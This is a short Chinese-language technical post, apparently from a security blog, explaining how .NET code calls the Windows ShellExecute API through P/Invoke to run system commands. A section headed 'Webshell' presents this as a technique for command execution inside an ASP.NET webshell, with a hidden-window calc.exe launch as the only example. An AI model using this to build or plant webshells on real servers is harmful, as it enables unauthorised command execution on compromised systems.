.NET 调用ShellExecute API执行系统命令

0x01 基本介绍

.NET调用Windows API执行系统命令,调用shell32.dll提供的ShellExecute 函数,ShellExecute函数用于启动一个程序或打开一个文件,并且可以指定程序窗口的外观和行为,c++原型定义如下.

HINSTANCE ShellExecute(  HWND    hwnd,  LPCTSTR lpOperation,  LPCTSTR lpFile,  LPCTSTR lpParameters,  LPCTSTR lpDirectory,  INT     nShowCmd);

ShellExecute函数返回一个HINSTANCE类型的值,表示执行操作的句柄。如果操作成功,则返回值大于32,否则返回值小于等于32,.NET里需要导入 System.Runtime.InteropServices 命名空间,采用PInvoke加载Shell32

[DllImport("shell32.dll", SetLastError = true)]static extern IntPtr ShellExecute(IntPtr hwnd, string lpOperation, string lpFile, string lpParameters, string lpDirectory, int nShowCmd);

0x02 Webshell

需要导入 Import Namespace="System.Runtime.InteropServices",代码如下 

ShellExecute(IntPtr.Zero, "open", "calc.exe", null, null, 0);